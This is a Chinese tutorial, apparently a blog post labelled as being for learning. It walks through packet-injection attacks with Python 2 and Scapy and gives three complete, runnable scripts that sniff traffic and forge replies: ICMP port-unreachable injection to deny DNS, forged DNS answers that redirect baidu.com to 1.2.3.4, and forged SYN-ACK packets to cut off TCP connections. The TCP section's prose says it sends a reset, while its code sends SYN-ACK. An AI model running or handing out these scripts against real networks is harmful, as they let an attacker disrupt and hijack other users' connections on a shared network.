部分来自网络,适用于学习,维护网络安全,做合法公民
一、UDP
和TCP不同,UDP没有面向连接的机制,其是一种不可靠的协议,没有确认机制。也就是说只要其端口开放,有数据需要交互时直接进行数据交互,也不需要TCP的三次握手。这样的话,基于UDP的攻击比基于TCP的攻击需要分析的条件相对少了一些。
下面是Python实现过程:
1、配置环境
本人使用的是Win7 64位系统,Python2.7.9,Scapy2.3.3(Python版本必须>=2.7.9,因为Scapy其它版本缺少模块)。
安装Python后,下载 setuptools-36.2.0 ,解压到任意目录下,运行:
运行成功后,会生成Script目录,里面就是下载Python模块的工具了:
接下来我们安装Scapy2.3.3:
以上我们就将环境配置好了。
2、安装抓包工具 Wireshark
Wireshark使用起来很简单,这里不做过多介绍。抓包工具有很多,下面介绍几款流行抓包工具:Wireshark、Fiddler(可抓取网站或手机数据包,可支持Https)、Burpsuite、tcpdump(Linux自带工具)、airodump-ng(Wifi渗透,可显示路由器的BSSID ESSID,以及所有连接的客户端。但需要一款可监听注入的网卡)等等。
运行Wireshark,点击监听的网络:
接下来我们 ping www.baidu.com
会抓到什么包?
上图依次为DNS域名查询请求与响应,成功返回ip。以上就是一次DNS域名解析的过程。
查询网卡详细信息:
3、实施攻击
3.1、UDP DOS
因为UDP是无连接的,同一个连接中的报文与前面或后面的报文都没有直接关系。因此对其DOS攻击不像TCP那样只需要发送一个reset包就可以干掉一个TCP连接那样简单,针对UDP的DOS需要将每个报文都DOS掉,不然应用层的重传机制还是会重传相应数据以保持会话与交互的数据完整。因此针对UDP的DOS攻击一般情况下都是针对UDP的轻量化应用进行攻击,如DNS这种小量交互的报文,而不是P2P这种大量报文交互的应用。
因此对其进行DOS非常简单,只需要监听网络中的DNS流量,有DNS查询时,直接返回一个ICMP Port unreachable报文即可,表示端口没有开放。若为TCP的应用,其端口没有开放时,一般回应一个reset报文。并且有一点一定要保证,就是ICMP port unreachable报文一定要比正常的DNS 响应报文早到客户端,这样才可以达到DOS的效果。
部分代码做了注释:
#!/usr/bin/python
# -*- coding: utf-8 -*-
import random
from scapy.all import *
from scapy.arch.windows import compatibility
# 防止scapy2.3.3版本中出现log_runtime错误
compatibility.log_runtime = log_runtime
compatibility.MTU = MTU
compatibility.PcapTimeoutElapsed = PcapTimeoutElapsed
compatibility.ETH_P_ALL = ETH_P_ALL
compatibility.plist = plist
compatibility.sniff(1)
conf.iface = 'Intel(R) Ethernet Connection I217-LM' # 绑定网卡,替换成之前所保存的网卡信息,linux需在sniff()中指定网卡
# DNS响应的地址,随机ip字段的id和ttl
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)
def buying(mots):
resp = Ether()/IP()/ICMP()/IP()/UDP()
#构造ICMP报文
resp[ICMP].type = 3
resp[ICMP].code = 3
resp[ICMP][IP].src = mots[IP].src
resp[ICMP][IP].dst = mots[IP].dst
resp[ICMP][IP].ttl = ipttl
resp[ICMP][IP].id = ipid
resp[ICMP][UDP].sport = mots[UDP].sport
resp[ICMP][UDP].dport = mots[UDP].dport
#构造IP包头
resp[IP].src = mots[IP].dst
resp[IP].dst = mots[IP].src
resp[IP].ttl = ipttl
resp[IP].id = ipid
#构造以太网包头
resp[Ether].src = mots[Ether].dst
resp[Ether].dst = mots[Ether].src
#发送构造的ICMP响应包
sendp(resp, count = 100)
if __name__ == '__main__':
print 'start sniff'
sniff(prn=buying, filter="udp dst port 53") # 嗅探,过滤upd目标端口53
命令行运行Python程序,然后再次 ping www.baidu.com
,出现以下情况:
由于DNS使用UDP,而UDP是一种不可靠的协议,其存在丢包的可能,因此DNS为了保证应用的可靠性,一般的DNS查询都是发送多个,当前面一个查询失败时,会继续发送DNS查询报文。如果第一个DNS查询被DOS了,但是第二个DNS时却被正常响应了。所以导致DNS结果还是正常的。
3.2、UDP 欺骗
很简单,在监听到客户端发送请求时,发送一个伪造的响应,并且比正常的响应早到,这样即可达到欺骗的效果。实际攻击还是攻击轻量化的应用,流量较大的攻击效果不一定明显,且成本很大。还是以DNS为测试目标吧。DNS污染在运营商里做的比较多,原理很简单:利益。并且其实现起来具有天然优势,可以在关键链路和节点进行分光监听并发送伪造的数据包。
#!/usr/bin/python
# -*- coding: utf-8 -*-
import random
from scapy.all import *
from scapy.arch.windows import compatibility
# 防止scapy2.3.3版本中出现log_runtime错误
compatibility.log_runtime = log_runtime
compatibility.MTU = MTU
compatibility.PcapTimeoutElapsed = PcapTimeoutElapsed
compatibility.ETH_P_ALL = ETH_P_ALL
compatibility.plist = plist
compatibility.sniff(1)
conf.iface = 'Intel(R) Ethernet Connection I217-LM' # 绑定网卡,linux需在sniff()中指定网卡
# DNS响应的地址,随机ip字段的id和ttl
rdata = "1.2.3.4"
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)
def buying(mots):
resp = Ether()/IP()/UDP()/DNS()
#构造DNS相关字段
resp[DNS].qr = 1
resp[DNS].rd = 1
resp[DNS].qdcount = 1
resp[DNS].ancount = 1
resp[DNS].id = mots[DNS].id
resp[DNS].qd = mots[DNS].qd
resp[DNS].an = DNSRR(type='A',rclass='IN',ttl=1800,rdata=rdata)
resp[DNS].an.rrname = mots[DNS].qd.qname
#构造UDP相关字段
resp[UDP].dport = mots[UDP].sport
resp[UDP].sport = mots[UDP].dport
#构造IP包头
resp[IP].src = mots[IP].dst
resp[IP].dst = mots[IP].src
resp[IP].ttl = ipttl
resp[IP].id = ipid
#构造以太网包头
resp[Ether].src = mots[Ether].dst
resp[Ether].dst = mots[Ether].src
#发送构造的DNS响应包
sendp(resp)
print("DNS响应为:",mots[DNS].qd.qname,'->',rdata)
if __name__ == '__main__':
print 'start sniff'
sniff(prn=buying,filter="udp dst port 53")
命令行运行Python程序,然后再次 ping www.baidu.com
,出现以下情况:
以上就成功进行了UDP欺骗,将百度重定向到1.2.3.4上。
二、TCP
比如探测某一端口是否开放时,一般发送SYN,若其端口开放,对方回应SYN+ACK;若端口不开放,则回应reset。所以针对TCP的应用,我们进行DOS时,可以监听其SYN包,一旦有客户端发送SYN,直接给其回应reset,并且保证伪造的reset比正常的响应包早到,即可达到DOS的效果。
1、配置环境
与UDP配置相同
2、实施攻击
2.1、TCP DOS
#!/usr/bin/python
# -*- coding: utf-8 -*-
import random
from scapy.all import *
from scapy.arch.windows import compatibility
# 防止scapy2.3.3版本中出现log_runtime错误
compatibility.log_runtime = log_runtime
compatibility.MTU = MTU
compatibility.PcapTimeoutElapsed = PcapTimeoutElapsed
compatibility.ETH_P_ALL = ETH_P_ALL
compatibility.plist = plist
compatibility.sniff(1)
conf.iface = 'Intel(R) Ethernet Connection I217-LM' # 绑定网卡,linux需在sniff()中指定网卡
#随机ip字段的id和ttl
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)
tcpseq = random.randint(1,4294967295)
def buying(tcpmots):
resp = Ether()/IP()/TCP()
#构造TCP相关字段
resp[TCP].dport = tcpmots[TCP].sport
resp[TCP].sport = tcpmots[TCP].dport
resp[TCP].ack = 0 # ack大小可以任意指定
resp[TCP].flags = 'SA'
resp[TCP].window = 0
# 构造IP包头
resp[IP].src = tcpmots[IP].dst
resp[IP].dst = tcpmots[IP].src
resp[IP].ttl = ipttl
resp[IP].id = ipid
#构造以太网包头
resp[Ether].src = tcpmots[Ether].dst
resp[Ether].dst = tcpmots[Ether].src
#发送构造的TCP DOS 包
sendp(resp,count=1)
print('TCP DOS 攻击',resp[IP].dst,'成功')
if __name__ == '__main__':
print 'start sniff'
sniff(prn=buying,filter='tcp[tcpflags]&(tcp-syn)!=0 and tcp[tcpflags]&(tcp-ack)==0')
运行以上代码:
大家实验可能失败的因素有很多,比如对DNS进行了加密、采用DNS延迟解析、网络不稳定都会对攻击产生一定影响,不是每次攻击都会成功,这点希望大家能注意到。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。